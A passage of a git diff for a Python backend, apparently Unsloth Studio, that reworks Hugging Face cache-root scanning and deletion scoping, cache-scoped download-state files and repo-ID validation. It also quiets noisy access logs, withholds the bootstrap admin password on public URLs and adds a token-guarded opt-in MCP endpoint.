+    previously selected caches.
+    """
+    from utils.hf_cache_settings import get_hf_cache_paths
+
+    if not cache_path:
+        return Path(get_hf_cache_paths().hub_cache).resolve(strict = False)
+    try:
+        resolved = Path(cache_path).expanduser().resolve(strict = False)
+    except (OSError, RuntimeError, ValueError):
+        return None
+    expected = repo_cache_dir_name(repo_type, repo_id).lower()
+    repo_dir = next(
+        (
+            candidate
+            for candidate in (resolved, *resolved.parents)
+            if candidate.name.lower() == expected
+        ),
+        None,
+    )
+    if repo_dir is None:
+        return None
+    allowed = {r.resolve(strict = False) for r in hf_cache_roots()}
+    root = repo_dir.parent.resolve(strict = False)
+    return root if root in allowed else None
+
+
+def resolve_delete_target_root(
+    repo_type: str, repo_id: str, cache_path: Optional[str], owner_roots
+) -> Optional[Path]:
+    """Pick the single cache root a delete of this repo should target.
+
+    An explicit *cache_path* wins (``None`` when it is not a known cache, so the
+    caller can reject it). Otherwise prefer the active cache when it holds a
+    copy, else the sole cache that does -- so a model that lives only in a
+    previously selected cache stays deletable while other caches are untouched.
+    """
+    if cache_path:
+        return scoped_delete_root(repo_type, repo_id, cache_path)
+    from utils.hf_cache_settings import get_hf_cache_paths
+
+    active = Path(get_hf_cache_paths().hub_cache).resolve(strict = False)
+    roots = list(owner_roots)
+    if active in roots:
+        return active
+    if len(roots) == 1:
+        return roots[0]
+    return active
diff --git a/studio/backend/hub/utils/inventory_scan.py b/studio/backend/hub/utils/inventory_scan.py
index 57ad7f6655..058fdf9b65 100644
--- a/studio/backend/hub/utils/inventory_scan.py
+++ b/studio/backend/hub/utils/inventory_scan.py
@@ -36,7 +36,7 @@ from hub.utils.state_dir import RepoType
 from hub.utils.hf_cache_state import (
     INCOMPLETE_SUFFIX,
     has_incomplete_blobs,
-    hf_cache_root,
+    hf_cache_roots,
     iter_repo_cache_dirs,
     latest_snapshot_dir,
     repo_cache_dir_has_incomplete_blobs,
@@ -127,33 +127,13 @@ def all_hf_cache_scans() -> list:
 
 def _compute_all_hf_cache_scans() -> list:
     from huggingface_hub import scan_cache_dir
-    from hub.utils.paths import legacy_hf_cache_dir, hf_default_cache_dir
 
     scans: list = []
-    seen: set[str] = set()
-    try:
-        from huggingface_hub.constants import HF_HUB_CACHE
-
-        active = Path(HF_HUB_CACHE).resolve()
-        seen.add(str(active))
-        if active.is_dir():
-            scans.append(scan_cache_dir())
-    except Exception as exc:
-        logger.warning("Could not scan active HF cache: %s", exc)
-
-    for extra_fn in (legacy_hf_cache_dir, hf_default_cache_dir):
+    for cache_root in hf_cache_roots():
         try:
-            extra = extra_fn()
-            # is_dir()/resolve() can raise on an inaccessible path; skip it.
-            if not extra.is_dir():
-                continue
-            resolved = str(extra.resolve())
-            if resolved in seen:
-                continue
-            seen.add(resolved)
-            scans.append(scan_cache_dir(cache_dir = str(extra)))
+            scans.append(scan_cache_dir(cache_dir = str(cache_root)))
         except Exception as exc:
-            logger.warning("Could not scan HF cache %s: %s", extra_fn.__name__, exc)
+            logger.warning("Could not scan HF cache %s: %s", cache_root, exc)
     return scans
 
 
@@ -224,16 +204,8 @@ def _compose_partial(*signals: Callable[[], bool]) -> bool:
     return any(signal() for signal in signals)
 
 
-def _state_applies_to_repo_cache_dir(repo_cache_dir: Optional[Path]) -> bool:
-    if repo_cache_dir is None:
-        return True
-    root = hf_cache_root()
-    if root is None:
-        return False
-    try:
-        return repo_cache_dir.resolve().parent == root.resolve()
-    except OSError:
-        return False
+def _hub_cache_for_repo_dir(repo_cache_dir: Optional[Path]) -> Optional[Path]:
+    return repo_cache_dir.parent if repo_cache_dir is not None else None
 
 
 def _legacy_partial(
@@ -285,12 +257,24 @@ def _repo_cache_dir_has_non_gguf_broken_snapshot_symlinks(repo_cache_dir: Path)
     return False
 
 
-def _gguf_variant_manifest_blob_hashes(repo_id: str) -> frozenset[str]:
+def _gguf_variant_manifest_blob_hashes(
+    repo_id: str, repo_cache_dir: Optional[Path] = None
+) -> frozenset[str]:
     from hub.utils import download_manifest
 
     hashes: set[str] = set()
-    for variant, _path in download_manifest.iter_variant_manifests("model", repo_id):
-        manifest = download_manifest.read_manifest("model", repo_id, variant)
+    hub_cache = _hub_cache_for_repo_dir(repo_cache_dir)
+    for variant, _path in download_manifest.iter_variant_manifests(
+        "model",
+        repo_id,
+        hub_cache = hub_cache,
+    ):
+        manifest = download_manifest.read_manifest(
+            "model",
+            repo_id,
+            variant,
+            hub_cache = hub_cache,
+        )
         if manifest is None:
             continue
         for expected in manifest.expected_files:
@@ -315,7 +299,7 @@ def _snapshot_legacy_partial(
 ) -> bool:
     if repo_type != "model":
         return _legacy_partial(repo_type, repo_id, repo_cache_dir)
-    ignored_hashes = _gguf_variant_manifest_blob_hashes(repo_id)
+    ignored_hashes = _gguf_variant_manifest_blob_hashes(repo_id, repo_cache_dir)
     if repo_cache_dir is not None:
         return _repo_cache_dir_has_snapshot_legacy_partial(
             repo_cache_dir,
@@ -375,9 +359,12 @@ def _manifest_partial(
 ) -> bool:
     from hub.utils import download_manifest
 
-    if not _state_applies_to_repo_cache_dir(repo_cache_dir):
-        return False
-    manifest = download_manifest.read_manifest(repo_type, repo_id, variant)
+    manifest = download_manifest.read_manifest(
+        repo_type,
+        repo_id,
+        variant,
+        hub_cache = _hub_cache_for_repo_dir(repo_cache_dir),
+    )
     if manifest is None:
         return False
     resolved = (
@@ -452,10 +439,13 @@ def is_snapshot_partial(
     A manifest without a resolvable snapshot is partial: the worker got
     far enough to record expectations but did not leave a usable snapshot."""
     from hub.utils import download_manifest
-
-    state_applies = _state_applies_to_repo_cache_dir(repo_cache_dir)
     return _compose_partial(
-        lambda: state_applies and download_manifest.has_cancel_marker(repo_type, repo_id, None),
+        lambda: download_manifest.has_cancel_marker(
+            repo_type,
+            repo_id,
+            None,
+            hub_cache = _hub_cache_for_repo_dir(repo_cache_dir),
+        ),
         lambda: _snapshot_legacy_partial(repo_type, repo_id, repo_cache_dir),
         lambda: _manifest_partial(
             repo_type,
@@ -484,10 +474,13 @@ def is_variant_partial(
     caller is checking many variants of the same repo (see
     is_gguf_repo_partial for that usage)."""
     from hub.utils import download_manifest
-
-    state_applies = _state_applies_to_repo_cache_dir(repo_cache_dir)
     return _compose_partial(
-        lambda: state_applies and download_manifest.has_cancel_marker("model", repo_id, variant),
+        lambda: download_manifest.has_cancel_marker(
+            "model",
+            repo_id,
+            variant,
+            hub_cache = _hub_cache_for_repo_dir(repo_cache_dir),
+        ),
         lambda: bool(
             incomplete_blob_hashes
             and variant_blob_hashes
@@ -526,22 +519,38 @@ def is_gguf_repo_partial(repo_id: str, repo_cache_dir: Optional[Path] = None) ->
     from hub.utils import download_manifest
 
     has_legacy_partial = _legacy_partial("model", repo_id, repo_cache_dir)
-    state_applies = _state_applies_to_repo_cache_dir(repo_cache_dir)
     snapshot_dir = resolve_snapshot_dir_for_scan(
         "model",
         repo_id,
         repo_cache_dir,
     )
     variants: set[str] = set(_completed_gguf_variants(snapshot_dir))
-    if state_applies:
-        for variant, _path in download_manifest.iter_variant_manifests(
-            "model",
-            repo_id,
+    hub_cache = _hub_cache_for_repo_dir(repo_cache_dir)
+    for variant, _path in download_manifest.iter_variant_manifests(
+        "model",
+        repo_id,
+        hub_cache = hub_cache,
+    ):
+        if (
+            download_manifest.read_manifest(
+                "model",
+                repo_id,
+                variant,
+                hub_cache = hub_cache,
+            )
+            is not None
         ):
             variants.add(variant)
-        for variant, _path in download_manifest.iter_variant_markers(
+    for variant, _path in download_manifest.iter_variant_markers(
+        "model",
+        repo_id,
+        hub_cache = hub_cache,
+    ):
+        if download_manifest.has_cancel_marker(
             "model",
             repo_id,
+            variant,
+            hub_cache = hub_cache,
         ):
             variants.add(variant)
     if not variants:
@@ -576,14 +585,19 @@ def partial_transport_for(
     available."""
     from hub.utils import download_manifest
 
-    if not _state_applies_to_repo_cache_dir(repo_cache_dir):
-        return None
+    hub_cache = _hub_cache_for_repo_dir(repo_cache_dir)
     marker_transport = download_manifest.read_cancel_marker_transport(
         repo_type,
         repo_id,
         variant,
+        hub_cache = hub_cache,
     )
     if marker_transport is not None:
         return marker_transport
-    manifest = download_manifest.read_manifest(repo_type, repo_id, variant)
+    manifest = download_manifest.read_manifest(
+        repo_type,
+        repo_id,
+        variant,
+        hub_cache = hub_cache,
+    )
     return manifest.transport if manifest is not None else None
diff --git a/studio/backend/hub/utils/paths.py b/studio/backend/hub/utils/paths.py
index afcb0b41dc..81621edcf9 100644
--- a/studio/backend/hub/utils/paths.py
+++ b/studio/backend/hub/utils/paths.py
@@ -181,15 +181,20 @@ def is_valid_repo_id(repo_id: str) -> bool:
     """Validate Hugging Face ``repo_name`` or ``namespace/repo_name`` IDs."""
     if not repo_id or repo_id != repo_id.strip():
         return False
-    if len(repo_id) > _MAX_REPO_ID_LENGTH or repo_id.endswith(".git"):
+    if repo_id.endswith(".git"):
         return False
     if "--" in repo_id or ".." in repo_id:
         return False
     segments = repo_id.split("/")
     if len(segments) not in (1, 2):
         return False
+    # Match huggingface_hub.validate_repo_id: the 96-char limit applies per
+    # segment (repo name / namespace), not to the whole "namespace/repo_name"
+    # string, so long-but-valid repo names are not falsely rejected.
     return all(
-        segment not in ("", ".", "..") and _VALID_REPO_ID_SEGMENT.fullmatch(segment) is not None
+        segment not in ("", ".", "..")
+        and len(segment) <= _MAX_REPO_ID_LENGTH
+        and _VALID_REPO_ID_SEGMENT.fullmatch(segment) is not None
         for segment in segments
     )
 
@@ -272,12 +277,8 @@ def _memo_drop(memo_key: tuple[str, str]) -> None:
 
 
 def _hf_hub_cache_dir() -> Path:
-    try:
-        from huggingface_hub.constants import HF_HUB_CACHE
-        return Path(HF_HUB_CACHE)
-    except Exception as exc:
-        logger.debug("Could not read huggingface_hub HF_HUB_CACHE, using default: %s", exc)
-        return Path.home() / ".cache" / "huggingface" / "hub"
+    from utils.hf_cache_settings import get_hf_cache_paths
+    return get_hf_cache_paths().hub_cache
 
 
 def _hf_hub_cache_dirs() -> list[Path]:
@@ -295,7 +296,10 @@ def _hf_hub_cache_dirs() -> list[Path]:
         seen.add(key)
         roots.append(resolved)
 
-    _add(_hf_hub_cache_dir())
+    from utils.hf_cache_settings import known_hf_hub_caches
+
+    for configured in known_hf_hub_caches():
+        _add(configured)
     try:
         _add(legacy_hf_cache_dir())
         _add(hf_default_cache_dir())
diff --git a/studio/backend/hub/utils/state_dir.py b/studio/backend/hub/utils/state_dir.py
index a304477a3d..4650b97381 100644
--- a/studio/backend/hub/utils/state_dir.py
+++ b/studio/backend/hub/utils/state_dir.py
@@ -3,16 +3,18 @@
 
 """Filesystem layout for Hub download state.
 
-State directory sits beside HF's cache (under Studio's own cache root)
+State directory sits beside HF's cache (under Unsloth's own cache root)
 so it survives ``huggingface-cli delete-cache`` and any other HF-side
 cache lifecycle. Two subdirectories:
 
     <studio cache>/hub-state/
-        manifests/   <key>.json   per-download expected-files manifest
-        cancelled/   <key>.json   per-download cancel marker
+        manifests/cache-<digest>/<key>.json   expected-files manifest
+        cancelled/cache-<digest>/<key>.json   cancel marker
 
-The ``<key>`` mirrors HF's cache dir naming so a state file can be
-eyeballed next to the on-disk repo it describes:
+The cache digest isolates state for the same repo across selectable Hub caches.
+The ``<key>`` mirrors HF's cache dir naming while the resulting manifest,
+cancel-marker, and atomic-write temp filenames fit common filesystem basename
+limits. Very long repo IDs use a stable hash in the state key:
 
     models--<owner>--<name>                       full snapshot
     models--<owner>--<name>--variant--<variant>   GGUF variant
@@ -28,6 +30,7 @@ configuration failure.
 from __future__ import annotations
 
 import hashlib
+import os
 import re
 from pathlib import Path
 from typing import Literal, Optional, get_args
@@ -49,6 +52,12 @@ _MANIFESTS_SUBDIR = "manifests"
 _CANCELLED_SUBDIR = "cancelled"
 _WORKERS_SUBDIR = "workers"
 _SAFE_VARIANT_FRAGMENT = re.compile(r"^[a-z0-9._-]{1,64}$")
+_MAX_STATE_BASENAME_BYTES = 255
+_STATE_EXTENSION = ".json"
+# _atomic_write_json writes ".<target>.tmp-<8hex>" beside the final file.
+_ATOMIC_WRITE_TMP_OVERHEAD = len(".") + len(".tmp-") + 8
+_MAX_VARIANT_FRAGMENT_LENGTH = 64
+_CACHE_SCOPE_DIGEST_LENGTH = 32
 
 
 def state_root() -> Optional[Path]:
@@ -84,16 +93,35 @@ def repo_cache_basename(repo_type: RepoType, repo_id: str) -> str:
     return f"{repo_type}s--{repo_id.replace('/', '--')}".lower()
 
 
+def _filename_bytes(name: str) -> int:
+    return len(name.encode("utf-8"))
+
+
+def _state_filename_fits(entry_key: str) -> bool:
+    filename = f"{entry_key}{_STATE_EXTENSION}"
+    return _filename_bytes(filename) + _ATOMIC_WRITE_TMP_OVERHEAD <= _MAX_STATE_BASENAME_BYTES
+
+
+def _state_repo_key(repo_type: RepoType, repo_id: str) -> str:
+    base = repo_cache_basename(repo_type, repo_id)
+    variant_prefix = f"{base}--variant--"
+    longest_variant_key = f"{variant_prefix}{'x' * _MAX_VARIANT_FRAGMENT_LENGTH}"
+    if _state_filename_fits(longest_variant_key):
+        return base
+    digest = hashlib.sha256(base.encode("utf-8")).hexdigest()[:32]
+    return f"{repo_type}s--sha256-{digest}"
+
+
 def variant_filename_prefix(repo_type: RepoType, repo_id: str) -> str:
     """Lowercased prefix every variant-keyed state file for this repo shares.
 
     The single source the download_manifest enumerators match against, so the
     scheme in :func:`_entry_key` cannot drift from them silently."""
-    return f"{repo_cache_basename(repo_type, repo_id)}--variant--"
+    return f"{_state_repo_key(repo_type, repo_id)}--variant--"
 
 
 def _entry_key(repo_type: RepoType, repo_id: str, variant: Optional[str]) -> str:
-    base = repo_cache_basename(repo_type, repo_id)
+    base = _state_repo_key(repo_type, repo_id)
     if not variant:
         return base
     normalized_variant = variant.strip().lower()
@@ -105,13 +133,32 @@ def _entry_key(repo_type: RepoType, repo_id: str, variant: Optional[str]) -> str
     return f"{variant_filename_prefix(repo_type, repo_id)}{variant_fragment}"
 
 
+def _cache_scope(parent: Path, hub_cache: Optional[str | Path]) -> Optional[Path]:
+    if hub_cache is None:
+        return parent
+    normalized = os.path.normcase(str(Path(hub_cache).expanduser()))
+    digest = hashlib.sha256(normalized.encode("utf-8")).hexdigest()[:_CACHE_SCOPE_DIGEST_LENGTH]
+    scoped = parent / f"cache-{digest}"
+    try:
+        scoped.mkdir(parents = True, exist_ok = True)
+    except OSError as exc:
+        logger.debug("Could not create cache-scoped Hub state dir %s: %s", scoped, exc)
+        return None
+    return scoped
+
+
 def manifest_path(
     repo_type: RepoType,
     repo_id: str,
     variant: Optional[str] = None,
+    *,
+    hub_cache: Optional[str | Path] = None,
 ) -> Optional[Path]:
     """Path to the manifest file for this triple. May or may not exist."""
     parent = _subdir(_MANIFESTS_SUBDIR)
+    if parent is None:
+        return None
+    parent = _cache_scope(parent, hub_cache)
     if parent is None:
         return None
     return parent / f"{_entry_key(repo_type, repo_id, variant)}.json"
@@ -121,9 +168,14 @@ def marker_path(
     repo_type: RepoType,
     repo_id: str,
     variant: Optional[str] = None,
+    *,
+    hub_cache: Optional[str | Path] = None,
 ) -> Optional[Path]:
     """Path to the cancel-marker file for this triple. May or may not exist."""
     parent = _subdir(_CANCELLED_SUBDIR)
+    if parent is None:
+        return None
+    parent = _cache_scope(parent, hub_cache)
     if parent is None:
         return None
     return parent / f"{_entry_key(repo_type, repo_id, variant)}.json"
diff --git a/studio/backend/hub/workers/hf_download.py b/studio/backend/hub/workers/hf_download.py
index e45357d311..9ff394b009 100644
--- a/studio/backend/hub/workers/hf_download.py
+++ b/studio/backend/hub/workers/hf_download.py
@@ -661,6 +661,7 @@ def _download_gguf_variant(repo_id: str, variant: str, hf_token: str | None, mod
                 variant,
                 plan.main_hashes,
                 hf_token,
+                hub_cache = Path(snapshot_path).parents[2],
             )
         except Exception as e:
             print(
diff --git a/studio/backend/loggers/config.py b/studio/backend/loggers/config.py
index 8977ab4907..688d3c7ebe 100644
--- a/studio/backend/loggers/config.py
+++ b/studio/backend/loggers/config.py
@@ -17,6 +17,15 @@ import structlog
 from loggers.handlers import filter_sensitive_data
 
 
+class _DropTorchDtypeDeprecation(logging.Filter):
+    """Drop transformers' once-per-run "`torch_dtype` is deprecated" warning_once.
+    It is emitted via logging (not warnings), so a warnings filter cannot catch it."""
+
+    def filter(self, record: logging.LogRecord) -> bool:
+        msg = record.getMessage()
+        return not ("torch_dtype" in msg and "deprecated" in msg)
+
+
 class LogConfig:
     """Structured logging configuration for the application."""
 
@@ -72,4 +81,13 @@ class LogConfig:
             cache_logger_on_first_use = True,
         )
 
+        # Drop transformers' cosmetic "`torch_dtype` is deprecated" warning_once (see filter).
+        _dtype_filter = _DropTorchDtypeDeprecation()
+        for _name in (
+            "transformers.configuration_utils",
+            "transformers.modeling_utils",
+            "transformers.pipelines.base",
+        ):
+            logging.getLogger(_name).addFilter(_dtype_filter)
+
         return structlog.get_logger(service_name)
diff --git a/studio/backend/loggers/handlers.py b/studio/backend/loggers/handlers.py
index f471ceb300..716c4f40d2 100644
--- a/studio/backend/loggers/handlers.py
+++ b/studio/backend/loggers/handlers.py
@@ -28,19 +28,26 @@ def _env_int(name: str, default: int) -> int:
         return default
 
 
-# Drop duplicate successful-GET access logs repeated within the window: the SPA
-# fans one cache invalidation into many identical list fetches; only the first
-# informs. Loading polls, mutations, and errors are unaffected. 0 = log all.
+# Collapse identical GET/2xx logs within the window (the SPA fans one invalidation
+# into many list fetches). Mutations and errors always log. 0 = off.
 _ACCESS_LOG_DEDUP_MS = _env_int("UNSLOTH_STUDIO_ACCESS_LOG_DEDUP_MS", 300)
-# Pure-liveness/UI polls whose access line carries no signal beyond "client still
-# polling" (state changes are logged by their own modules). Collapsed to a longer
-# heartbeat instead of one line per poll; first hit and any error still log. 0 = off.
+# Liveness/UI polls whose line means only "still polling"; collapse to a longer
+# heartbeat. First hit and errors still log. 0 = off.
 _QUIET_POLL_DEDUP_MS = _env_int("UNSLOTH_STUDIO_ACCESS_LOG_POLL_DEDUP_MS", 10000)
 _QUIET_POLL_PATHS = {
     "/api/health",
     "/api/auth/status",
     "/api/inference/status",
     "/api/inference/monitor",
+    # List polls the tabs refetch on a timer and on every tab switch.
+    "/api/train/runs",
+    "/api/models/checkpoints",
+    "/api/models/local",
+    "/api/rag/knowledge-bases",
+    # Legacy download polls emit no progress events (unlike /api/hub/*), so heartbeat them.
+    "/api/models/download-progress",
+    "/api/models/gguf-download-progress",
+    "/api/datasets/download-progress",
 }
 _DEDUP_MAP_MAX = 4096
 _NATIVE_PATH_LEASE_RE = re.compile(
@@ -62,6 +69,46 @@ _EXCLUDED_SUFFIXES = (
     ".woff2",
     ".ttf",
 )
+# GET polls whose 2xx line carries no signal (their progress/phase events and the UI
+# do), so drop it entirely; non-2xx still logs. Only /api/hub download polls emit
+# events; the legacy /api/models and /api/datasets ones heartbeat via _QUIET_POLL_PATHS.
+_QUIET_SUCCESS_PATHS = {
+    "/api/inference/load-progress",
+    "/api/llama/update-status",
+    "/api/export/logs",
+    "/api/export/status",
+    "/api/hub/download-status",
+    "/api/hub/download-progress",
+    "/api/hub/gguf-download-progress",
+    "/api/hub/active-downloads",
+    "/api/hub/transport-status",
+    "/api/hub/datasets/download-status",
+    "/api/hub/datasets/download-progress",
+    "/api/hub/datasets/active-downloads",
+    "/api/hub/datasets/transport-status",
+}
+# The token-refresh route. Its first 2xx means the client has obtained a valid
+# session, so from then on chat 401s are real failures and must stay visible.
+_AUTH_REFRESH_PATH = "/api/auth/refresh"
+# High-frequency chat list polls; their 2xx is covered by generation/tool-call/stats
+# events. Exact paths only, so detail/message reads (/threads/{id}, .../messages,
+# /projects/{id}) keep their logs. The pre-auth 401 race also fires on these polls.
+_CHAT_LIST_PATHS = {
+    "/api/chat/threads",
+    "/api/chat/projects",
+}
+
+
+def _is_quiet_success(method: str, path: str, status_code: int, pre_auth: bool) -> bool:
+    """GET-only. Suppress a 2xx poll line that carries no signal, plus a chat list
+    poll's transient pre-auth 401 (only in the bootstrap window before the first
+    successful token refresh). Mutations, real (post-refresh) auth failures, and
+    all other errors always log."""
+    if method != "GET":
+        return False
+    if 200 <= status_code < 300:
+        return path in _QUIET_SUCCESS_PATHS or path in _CHAT_LIST_PATHS
+    return pre_auth and status_code == 401 and path in _CHAT_LIST_PATHS
 
 
 class LoggingMiddleware:
@@ -71,14 +118,16 @@ class LoggingMiddleware:
         self.app = app
         # (method, path, query, status_code) -> monotonic ts of the last EMITTED log.
         self._last_log: dict[tuple[str, str, bytes, int], float] = {}
+        # Flips True after the first successful /api/auth/refresh; before that, chat
+        # list-poll 401s are the transient bootstrap race and are suppressed.
+        self._auth_refreshed = False
 
     def _is_redundant_repeat(
         self, method: str, path: str, query: bytes, status_code: int, now: float
     ) -> bool:
-        """True if an identical GET/2xx log fired < window ago. The query string
-        is part of the identity, so distinct query-driven GETs are not collapsed.
-        Mutations and non-2xx are never deduped. Quiet-poll paths use a longer
-        heartbeat window. Stamps only on emit, so steady polls still log."""
+        """True if an identical GET/2xx log fired < window ago (query string is part
+        of the identity). Non-GET/non-2xx never dedup; quiet-poll paths use the longer
+        heartbeat. Stamps only on emit, so steady polls still log."""
         if method != "GET" or not (200 <= status_code < 300):
             return False
         window_ms = _QUIET_POLL_DEDUP_MS if path in _QUIET_POLL_PATHS else _ACCESS_LOG_DEDUP_MS
@@ -129,8 +178,16 @@ class LoggingMiddleware:
             raise
         else:
             end_time = time.perf_counter()
-            if not excluded and not self._is_redundant_repeat(
-                scope["method"], path, scope.get("query_string", b""), status_code, end_time
+            if 200 <= status_code < 300 and path == _AUTH_REFRESH_PATH:
+                self._auth_refreshed = True
+            if (
+                not excluded
+                and not _is_quiet_success(
+                    scope["method"], path, status_code, not self._auth_refreshed
+                )
+                and not self._is_redundant_repeat(
+                    scope["method"], path, scope.get("query_string", b""), status_code, end_time
+                )
             ):
                 logger.info(
                     "request_completed",
diff --git a/studio/backend/main.py b/studio/backend/main.py
index 8762c43195..a538f935ff 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -19,7 +19,7 @@ os.environ["PYTHONWARNINGS"] = "ignore"
 
 # Pin GPU index ordering to PCI bus id before any torch import creates a CUDA
 # context. Without this, torch/CUDA default to FASTEST_FIRST while nvidia-smi
-# (and Studio's VRAM probes) use PCI-bus order, so a GPU index chosen from
+# (and Unsloth's VRAM probes) use PCI-bus order, so a GPU index chosen from
 # nvidia-smi data can resolve to a different physical card via
 # CUDA_VISIBLE_DEVICES. setdefault so an explicit user override wins. See
 # utils/hardware/hardware.py for the full rationale; set here too so the entry
@@ -93,7 +93,7 @@ if sys.platform == "win32":
     # ── Windows AMD ROCm: make hipInfo.exe resolvable for subprocess probes ──
     # bitsandbytes' get_rocm_gpu_arch() runs `hipinfo.exe` via PATH at import
     # time; the AMD torch wheel ships it in the venv Scripts dir, which is on
-    # PATH only when the venv is activated -- Studio launches python directly.
+    # PATH only when the venv is activated -- Unsloth launches python directly.
     # Without this, every bitsandbytes import logs a scary (but harmless)
     # "Could not detect ROCm GPU architecture: [WinError 2]" ERROR + WARNING.
     # Gated on the file existing: only AMD ROCm wheels ship hipInfo.exe, so
@@ -159,6 +159,14 @@ if sys.platform == "win32":
                 _bnb_rocm_ver_final,
             )
 
+    # Setting BNB_ROCM_VERSION makes bitsandbytes log a benign override notice on
+    # import; drop only that record so real errors and mismatch warnings show.
+    if os.environ.get("BNB_ROCM_VERSION"):
+        import logging as _logging
+        _logging.getLogger("bitsandbytes.cextension").addFilter(
+            lambda _r: "environment variable detected" not in _r.getMessage()
+        )
+
 # ── WSL AMD Strix Halo (gfx1151): enable ROCDXG before any torch import ──────
 # In WSL the AMD GPU is reached via the ROCDXG bridge (librocdxg.so over
 # /dev/dxg), which HSA loads only when HSA_ENABLE_DXG_DETECTION=1 is set BEFORE
@@ -226,6 +234,7 @@ if _STUDIO_ROOT_RESOLVED != _LEGACY_STUDIO_ROOT:
 os.environ.setdefault("UNSLOTH_IS_PRESENT", "1")
 
 import hashlib
+import ipaddress
 import mimetypes
 import re as _re
 import shutil
@@ -243,7 +252,7 @@ def _read_studio_install_id() -> str:
 
     Returns "" when absent or not a 64-char lowercase-hex token; then
     /api/health emits "" and the launcher accepts any healthy backend.
-    Carries no install-path info (matters when Studio runs -H 0.0.0.0)."""
+    Carries no install-path info (matters when Unsloth runs -H 0.0.0.0)."""
     try:
         token = (_STUDIO_ROOT_RESOLVED / "share" / "studio_install_id").read_text().strip()
     except (OSError, ValueError):
@@ -280,6 +289,7 @@ from fastapi import Depends, FastAPI, HTTPException, Query, Request
 from fastapi.middleware.cors import CORSMiddleware
 from fastapi.staticfiles import StaticFiles
 from fastapi.responses import FileResponse, HTMLResponse, Response
+from starlette.middleware.gzip import GZipMiddleware
 from pathlib import Path
 from datetime import datetime
 
@@ -299,11 +309,14 @@ from routes import (
     training_router,
 )
 from routes.llama import router as llama_router
+from routes.whisper import router as whisper_router
 from routes.preview import router as preview_router
 from hub.routes import (
     inventory_router as hub_inventory_router,
     datasets_router as hub_datasets_router,
+    token_router as hub_token_router,
 )
+from picker.routes import templates_router as picker_templates_router
 from hub.schemas.downloads import TransportCapabilities
 from hub.utils.download_registry import (
     get_download_transport_capabilities,
@@ -538,8 +551,9 @@ async def lifespan(app: FastAPI):
     threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start()
 
     # Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set).
-    from core.inference.llama_keepwarm import idle_unload_loop
+    from core.inference.llama_keepwarm import idle_unload_loop, sweep_slot_save_dir
 
+    sweep_slot_save_dir()
     app.state.idle_unload_task = asyncio.create_task(idle_unload_loop())
 
     # Initialize RSA key pair for API key encryption (external providers).
@@ -551,8 +565,12 @@ async def lifespan(app: FastAPI):
         (_time.perf_counter() - _lifespan_started) * 1000,
     )
 
+    # run_server's pre-bind gate sets suppress_bootstrap_injection when a public
+    # URL is about to serve with the default credential active: never (re)capture
+    # the bootstrap password into app.state, or the HTML would hand it out.
+    _suppress_bootstrap = getattr(app.state, "suppress_bootstrap_injection", False)
     if storage.ensure_default_admin():
-        bootstrap_pw = storage.get_bootstrap_password()
+        bootstrap_pw = None if _suppress_bootstrap else storage.get_bootstrap_password()
         app.state.bootstrap_password = bootstrap_pw
 
         bootstrap_path = storage.DB_PATH.parent / ".bootstrap_password"
@@ -560,10 +578,12 @@ async def lifespan(app: FastAPI):
         print("DEFAULT ADMIN ACCOUNT CREATED")
         print(f"    username: {storage.DEFAULT_ADMIN_USERNAME}")
         print(f"    password saved to: {bootstrap_path}")
-        print("    Open the Studio UI to sign in and change it.")
+        print("    Open the Unsloth UI to sign in and change it.")
         print("=" * 60 + "\n")
     else:
-        app.state.bootstrap_password = storage.get_bootstrap_password()
+        app.state.bootstrap_password = (
+            None if _suppress_bootstrap else storage.get_bootstrap_password()
+        )
 
     _lifespan_log.info(
         "lifespan startup completed in %.1fms",
@@ -597,6 +617,22 @@ app = FastAPI(
     lifespan = lifespan,
 )
 
+# The MCP surface is opt-in because it can start GPU jobs and write model
+# artifacts. Mount it only when explicitly enabled by the Unsloth process.
+if os.environ.get("UNSLOTH_STUDIO_ENABLE_MCP") == "1":
+    from fastmcp.utilities.lifespan import combine_lifespans
+
+    from mcp_server import BearerTokenMiddleware, create_studio_mcp
+
+    _studio_mcp_app = create_studio_mcp().http_app(path = "/")
+    _studio_mcp_lifespan = _studio_mcp_app.lifespan
+    _mcp_token = os.environ.get("UNSLOTH_STUDIO_MCP_TOKEN")
+    if not _mcp_token:
+        raise RuntimeError("UNSLOTH_STUDIO_MCP_TOKEN is required when MCP is enabled")
+    _studio_mcp_app = BearerTokenMiddleware(_studio_mcp_app, _mcp_token)
+    app.router.lifespan_context = combine_lifespans(lifespan, _studio_mcp_lifespan)
+    app.mount("/mcp", _studio_mcp_app)
+
 from loggers.config import LogConfig
 from loggers.handlers import LoggingMiddleware
 
@@ -720,6 +756,8 @@ app.add_middleware(SecurityHeadersMiddleware)
 # headroom; non-upload routes keep the default body cap.
 import json as _json_for_413  # noqa: E402
 from utils.upload_limits import (  # noqa: E402
+    STT_AUDIO_JSON_MAX_BYTES,
+    STT_AUDIO_RAW_MAX_BYTES,
     UNSTRUCTURED_RECIPE_UPLOAD_MAX_BYTES,
     default_request_body_limit_bytes,
     upload_request_limit_bytes,
@@ -730,6 +768,7 @@ _BODY_PROTECTED_PREFIXES = (
     "/v1/completions",
     "/p/",
     "/api/inference",
+    "/api/picker",
     "/api/data-recipe",
     "/api/datasets",
     "/api/hub",
@@ -737,6 +776,7 @@ _BODY_PROTECTED_PREFIXES = (
     "/api/settings",
     "/api/train",
     "/api/export",
+    "/mcp",
 )
 _DATASET_UPLOAD_PASSTHROUGH_PREFIX = "/api/datasets/upload"
 _DATA_RECIPE_UNSTRUCTURED_UPLOAD_PASSTHROUGH_PREFIX = (
@@ -756,6 +796,14 @@ def _get_upload_passthrough_request_max_bytes(path: str) -> int:
     return default_request_body_limit_bytes()
 
 
+def _get_request_body_max_bytes(path: str) -> int:
+    if path.startswith("/api/inference/audio/transcribe/raw"):
+        return STT_AUDIO_RAW_MAX_BYTES
+    if path.startswith("/api/inference/audio/transcribe"):
+        return STT_AUDIO_JSON_MAX_BYTES
+    return default_request_body_limit_bytes()
+
+
 async def _send_411(send) -> None:
     payload = _json_for_413.dumps(
         {"detail": "Content-Length required for upload requests."},
@@ -798,12 +846,14 @@ class MaxBodyMiddleware:
         app,
         max_bytes_getter,
         protected_prefixes: tuple,
+        request_max_bytes_getter = None,
         upload_passthrough_prefixes: tuple = (),
         upload_passthrough_max_bytes_getter = None,
     ):
         self.app = app
         self.max_bytes_getter = max_bytes_getter
         self.protected_prefixes = protected_prefixes
